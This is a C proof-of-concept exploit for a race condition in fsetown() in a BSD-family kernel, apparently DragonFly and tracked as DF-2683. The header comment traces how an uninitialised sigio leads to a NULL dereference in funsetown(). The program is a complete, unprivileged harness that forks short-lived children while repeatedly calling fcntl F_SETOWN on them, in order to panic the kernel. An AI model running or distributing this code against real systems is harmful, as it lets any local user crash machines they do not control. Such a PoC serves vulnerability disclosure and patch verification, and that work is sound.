/*
 * DF-2683 PoC: fsetown() publishes an uninitialized sigio into the
 * owner list -- teardown race -> funsetown(NULL) NULL-deref panic.
 *
 * fsetown() (sys/kern/kern_descrip.c:1296-1380) does:
 *
 *	1350/1356: lwkt_gettoken(&proc->p_token / &pgrp->pg_token)
 *	1351/1357: SLIST_INSERT_HEAD(&...->p_sigiolst / pg_sigiolst, sigio)
 *	1353/1359: lwkt_reltoken(...)                  <-- lock released
 *	1362-1366: sigio->sio_pgid/sio_ucred/sio_ruid/sio_myref set HERE,
 *	           with no lock held                    <-- init AFTER publish
 *
 * A concurrent teardown walker:
 *	exit1()   -> funsetownlst(&p->p_sigiolst)   (kern_exit.c:376)
 *	pgdelete()-> funsetownlst(&pgrp->pg_sigiolst)(kern_proc.c:680)
 * does:  while ((sigio = SLIST_FIRST(list)) != NULL)
 *		funsetown(sigio->sio_myref);
 * If it observes the just-inserted sigio whose sio_myref is still
 * NULL (M_ZERO allocation), funsetown(NULL) dereferences address 0:
 *
 *	if ((sigio = *sigiop) != NULL)   <-- sigiop == NULL -> page fault
 *
 * => unprivileged local kernel panic (DoS).
 *
 * Harness (all unprivileged):
 *   parent A: socketpair + hammer fcntl(sv0, F_SETOWN, child_pid)
 *             while child B (forked, same session) exits.
 *   B's exit1 -> funsetownlst walks its p_sigiolst exactly when A's
 *   fsetown is inside the insert->init window.
 *   Repeat over many fork rounds.
 */
#include <sys/fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	int sv[2];
	pid_t pid;
	int rounds = 20000;
	int r;
	unsigned long sets = 0;

	if (argc > 1)
		rounds = atoi(argv[1]);

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
		err(1, "socketpair");
	signal(SIGCHLD, SIG_IGN);

	printf("DF-2683: uid=%d racing fsetown() publication against "
	    "exit-teardown for %d rounds...\n", getuid(), rounds);
	fflush(stdout);

	for (r = 0; r < rounds; r++) {
		pid = fork();
		if (pid < 0)
			err(1, "fork");
		if (pid == 0) {
			/* child B: exit immediately; exit1() will walk
			 * p_sigiolst with no lock against A's fsetown */
			_exit(0);
		}
		/* parent A: hammer F_SETOWN targeting B until it is gone */
		while (fcntl(sv[0], F_SETOWN, pid) == 0)
			sets++;
		if ((r % 500) == 0) {
			printf("round %d (%lu sets)\n", r, sets);
			fflush(stdout);
		}
	}
	printf("survived: %d rounds, %lu F_SETOWN calls, no panic\n",
	    rounds, sets);
	return (2);
}
